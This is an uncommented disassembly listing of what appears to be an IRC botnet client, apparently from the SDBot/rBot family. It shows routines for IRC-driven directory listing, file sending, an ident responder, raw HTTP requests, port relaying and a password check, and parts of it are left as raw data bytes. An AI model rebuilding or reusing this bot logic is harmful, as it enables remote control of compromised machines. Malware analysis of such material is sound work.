pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_C], ebx jz short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 cmp eax, 2 pop ecx jbe short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 sub eax, 3 pop ecx jz short loc_40FB14 loc_40FB08: ; CODE XREF: sub_40F96A+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB14 dec eax jnz short loc_40FB08 loc_40FB14: ; CODE XREF: sub_40F96A+19Cj ; sub_40F96A+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B5F0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 loc_40FB63: ; CODE XREF: sub_40F96A+180j ; sub_40F96A+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 25C0000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call near ptr 2750000h nop test eax, eax jz loc_40FF53 mov edi, 1FFh loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j cmp [ebp+var_388], ebx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 2740000h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 2730767h mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40FC04 mov ecx, offset aAm ; "AM" loc_40FC04: ; CODE XREF: sub_40F96A+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC10 sub eax, 0Ch loc_40FC10: ; CODE XREF: sub_40F96A+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B886 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB3 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC84 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFC ; --------------------------------------------------------------------------- loc_40FC84: ; CODE XREF: sub_40F96A+2E0j cmp [ebp+arg_C], ebx jz loc_40FD6E push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FD24 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD29 ; --------------------------------------------------------------------------- loc_40FD24: ; CODE XREF: sub_40F96A+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD29: ; CODE XREF: sub_40F96A+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 14h jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF2 push ebx push [ebp+var_368] call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_40FDDE: ; CODE XREF: sub_40F96A+577j lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 1Ch jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj cmp [ebp+arg_C], ebx jz loc_40FEE6 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_4293C4 push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FE92 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE97 ; --------------------------------------------------------------------------- loc_40FE92: ; CODE XREF: sub_40F96A+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE97: ; CODE XREF: sub_40F96A+526j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDE ; --------------------------------------------------------------------------- loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFC: ; CODE XREF: sub_40F96A+315j push esi loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 18h loc_40FF0C: ; CODE XREF: sub_40F96A+444j ; sub_40F96A+483j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_8], ebx jz short loc_40FF3B push 7D0h call near ptr 26705B3h nop loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj ; sub_40F96A+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call near ptr 2750000h nop test eax, eax jnz loc_40FB8F loc_40FF53: ; CODE XREF: sub_40F96A+21Aj push [ebp+arg_0] call near ptr 2730000h nop cmp [ebp+arg_8], ebx jz short loc_40FF96 mov eax, [ebp+var_8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B886 add esp, 14h jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FF96: ; CODE XREF: sub_40F96A+5F5j cmp [ebp+arg_C], ebx jz short loc_40FFB0 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B886 pop ecx pop ecx jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B886 add esp, 10h loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj ; sub_40F96A+644j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call near ptr 26F0867h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A8 push esi push ebx call near ptr 2720A09h nop cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A1 loc_410035: ; CODE XREF: sub_40FFF0+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B590 add esp, 0Ch cmp edi, [ebp+arg_4] loc_41004D: ; DATA XREF: ___:00437A30o ; ___:00437A44o jbe short loc_410052 mov edi, [ebp+arg_4] loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 2760000h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 26F0000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41009C call dword_4CAF08 cmp eax, 2733h jnz short loc_4100A1 xor eax, eax loc_41009C: ; CODE XREF: sub_40FFF0+9Bj sub [ebp+arg_4], eax jnz short loc_410035 loc_4100A1: ; CODE XREF: sub_40FFF0+43j ; sub_40FFF0+A8j push ebx call near ptr 265092Ah nop loc_4100A8: ; CODE XREF: sub_40FFF0+30j pop edi pop esi pop ebx leave retn sub_40FFF0 endp ; =============== S U B R O U T I N E ======================================= sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AFE0 test eax, eax pop ecx jbe short loc_4100D6 loc_4100C0: ; CODE XREF: sub_4100AD+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CA mov byte ptr [esi+edi], 2Fh loc_4100CA: ; CODE XREF: sub_4100AD+17j push edi inc esi call sub_41AFE0 cmp esi, eax pop ecx jb short loc_4100C0 loc_4100D6: ; CODE XREF: sub_4100AD+11j mov eax, edi pop edi pop esi retn sub_4100AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CAEE4 push 6 push 1 push 2 call dword_4CAFF4 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CAF74 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAF9 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz short loc_4101B8 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410154 mov eax, offset dword_43D128 loc_410154: ; CODE XREF: sub_4100DB+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CAFC4 push esi lea eax, [ebp+var_110] push edi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CAF8C pop esi loc_4101B8: ; CODE XREF: sub_4100DB+6Bj push ebx call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41B886 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4101F8 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_4101F8: ; CODE XREF: sub_4100DB+102j pop edi pop ebx leave retn sub_4100DB endp ; --------------------------------------------------------------------------- loc_4101FC: ; DATA XREF: ___:00401666o ; sub_401ACD+4369o push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41B590 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CAF74 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410360 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43DEBC[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_410360 push 5 push ebx call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_410360 mov [ebp-0Ch], edi mov edi, 200h loc_410287: ; CODE XREF: ___:004102E6j ; ___:00410349j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_41035B movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CB000 push eax lea eax, [ebp-238h] push offset dword_433F94 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_410287 lea eax, [ebp-238h] push esi push eax call sub_417F7F push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41B590 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40B08D add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz loc_410287 mov dword ptr [ebp-8], 1 jmp loc_410287 ; --------------------------------------------------------------------------- loc_41035B: ; CODE XREF: ___:0041029Cj cmp [ebp-8], esi jnz short loc_410387 loc_410360: ; CODE XREF: ___:00410243j ; ___:00410267j ... call dword_4CAF08 push eax lea eax, [ebp-238h] push offset dword_433F50 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 10h loc_410387: ; CODE XREF: ___:0041035Ej push ebx call dword_4CB00C push dword ptr [ebp-4] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push esi nop call near ptr 26D0000h pop edi pop esi pop ebx loc_4103AA: ; DATA XREF: sub_401ACD+613Bo push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CAF74 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410516 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43DEBC[ecx], eax call dword_4CAE84 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CAFA0 test eax, eax jnz loc_410516 push 0Ah push dword ptr [ebp+8] call dword_4CAF9C test eax, eax jnz loc_410516 loc_41045A: ; CODE XREF: ___:00410470j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CB008 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045A movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CB000 push eax lea eax, [ebp-350h] push offset unk_433FFC push eax call sub_41B886 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B0F6 mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43DEB4[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_41053B push esi push esi ; --------------------------------------------------------------------------- db 0E8h, 7Fh, 1 dd 8B900226h, 0C969C44Dh, 234h, 8189C63Bh, 43DEC4h, 75391374h dd 63850FD0h, 6AFFFFFFh, 0B4E89032h, 0EB022600h, 0F9E890EDh dd 500226FAh, 433FC068h, 4D0EE800h, 59590000h ; --------------------------------------------------------------------------- jmp short loc_410519 ; --------------------------------------------------------------------------- loc_410516: ; CODE XREF: ___:0041040Dj ; ___:00410441j ... mov edi, [ebp+8] loc_410519: ; CODE XREF: ___:00410514j push edi call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-40h] call sub_40B412 pop ecx push esi call near ptr 26D0000h nop pop edi pop esi loc_41053B: ; DATA XREF: ___:004104CEo push ebp mov ebp, esp mov eax, 1344h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CAFF4 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4106F1 push 10h lea eax, [ebp-18h] push edi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CAF74 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4105CB lea eax, [ebp-13Ch] push eax call dword_4CAFF8 jmp short loc_4105D9 ; --------------------------------------------------------------------------- loc_4105CB: ; CODE XREF: ___:004105BAj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CAF2C loc_4105D9: ; CODE XREF: ___:004105C9j cmp eax, edi jz loc_4106F1 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_4106F1 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CB000 push eax lea eax, [ebp-344h] push offset unk_434084 push eax call sub_41B886 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B0F6 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43DEBC[ebx] mov dword_43DEB4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43DEC0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_410722 push edi push edi nop call near ptr 2670659h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_4106DE loc_41068B: ; CODE XREF: ___:00410698j cmp [ebp-20h], edi jnz short loc_41069A push 32h call near ptr 26705B3h nop jmp short loc_41068B ; --------------------------------------------------------------------------- loc_41069A: ; CODE XREF: ___:0041068Ej mov ebx, 1000h loc_41069F: ; CODE XREF: ___:004106DAj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CAF8C cmp eax, edi jle short loc_4106F1 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41069F jmp short loc_4106F1 ; --------------------------------------------------------------------------- loc_4106DE: ; CODE XREF: ___:00410689j call near ptr 2680000h nop push eax push offset unk_434044 call sub_415220 pop ecx pop ecx loc_4106F1: ; CODE XREF: ___:0041057Fj ; ___:004105DBj ... mov eax, [ebp-4] imul eax, 234h push dword_43DEBC[eax] call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-4] call sub_40B412 pop ecx push edi nop call near ptr 26D0000h pop edi pop esi pop ebx loc_410722: ; DATA XREF: ___:0041066Bo push ebp mov ebp, esp mov eax, 1128h call sub_41BB20 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410759: ; CODE XREF: ___:0041079Ej push edi lea eax, [ebp-1128h] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43DEC0[esi] call dword_4CAF8C test eax, eax jle short loc_4107A0 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43DEBC[esi] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_410759 loc_4107A0: ; CODE XREF: ___:00410783j push dword_43DEC0[esi] call dword_4CB00C push dword ptr [ebp-14h] call sub_40B412 pop ecx push 0 nop ; --------------------------------------------------------------------------- dd 2BF843E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43DEBC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CAF5C test eax, eax jnz short loc_410843 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26D0000h loc_410843: ; CODE XREF: ___:00410829j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CAF8C lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4109C4 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CAEC8 test eax, eax jz short loc_4108BC call dword_4CAF08 push eax push offset unk_43415C call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push edi nop call near ptr 26D0000h loc_4108BC: ; CODE XREF: ___:00410897j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CAF2C cmp eax, edi jnz short loc_4108E6 push dword ptr [ebp-18h] call dword_4CB000 push eax lea eax, [ebp-0B0h] push eax call sub_41B886 jmp short loc_4108F4 ; --------------------------------------------------------------------------- loc_4108E6: ; CODE XREF: ___:004108CCj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41BEB0 loc_4108F4: ; CODE XREF: ___:004108E4j pop ecx pop ecx push edi push ebx push offset dword_43D128 push dword ptr [esi] call dword_4CAFC4 cmp dword_4CDCD8, edi jnz short loc_410956 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_410A1E add esp, 10h test eax, eax jnz short loc_410956 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CAFC4 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26D0000h loc_410956: ; CODE XREF: ___:0041090Bj ; ___:0041092Cj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434120 call sub_415220 push dword ptr [ebp+8] call sub_410CD5 add esp, 10h test eax, eax jnz short loc_41099D nop call near ptr 2680000h push eax push offset unk_4340F4 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push ebx nop call near ptr 26D0000h loc_41099D: ; CODE XREF: ___:00410978j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4340C8 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 10h push edi call near ptr 26D0000h nop ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C4 proc near ; CODE XREF: ___:00410859p ; ___:00410866p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jnz short loc_410A14 mov esi, [ebp+arg_4] loc_4109E2: ; CODE XREF: sub_4109C4+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A09 test al, al jz short loc_410A18 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jz short loc_4109E2 jmp short loc_410A14 ; --------------------------------------------------------------------------- loc_410A09: ; CODE XREF: sub_4109C4+27j push offset unk_434188 call sub_415220 pop ecx loc_410A14: ; CODE XREF: sub_4109C4+19j ; sub_4109C4+43j xor eax, eax jmp short loc_410A1B ; --------------------------------------------------------------------------- loc_410A18: ; CODE XREF: sub_4109C4+2Bj push 1 pop eax loc_410A1B: ; CODE XREF: sub_4109C4+52j pop esi leave retn sub_4109C4 endp ; =============== S U B R O U T I N E ======================================= sub_410A1E proc near ; CODE XREF: ___:00410922p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_410A49 push [esp+arg_4] push [esp+4+arg_0] push offset dword_4341B4 call sub_415220 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A49: ; CODE XREF: sub_410A1E+11j push 1 pop eax retn sub_410A1E endp ; --------------------------------------------------------------------------- byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 0FDECBD8Dh dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2468501Dh, 0E8004343h dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h dd 6857022Bh, 410CCBh, 35F54FE8h, 0C0859002h, 45E82975h dd 900226F5h, 42E06850h, 59E80043h, 59000047h, 0CC15FF59h dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h, 53022BF5h dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h, 89E24589h dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h dd 106AB445h, 234C069h, 98890000h, 43DEBCh, 50E0458Dh dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h, 7FFFFFFFh dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342A4h dd 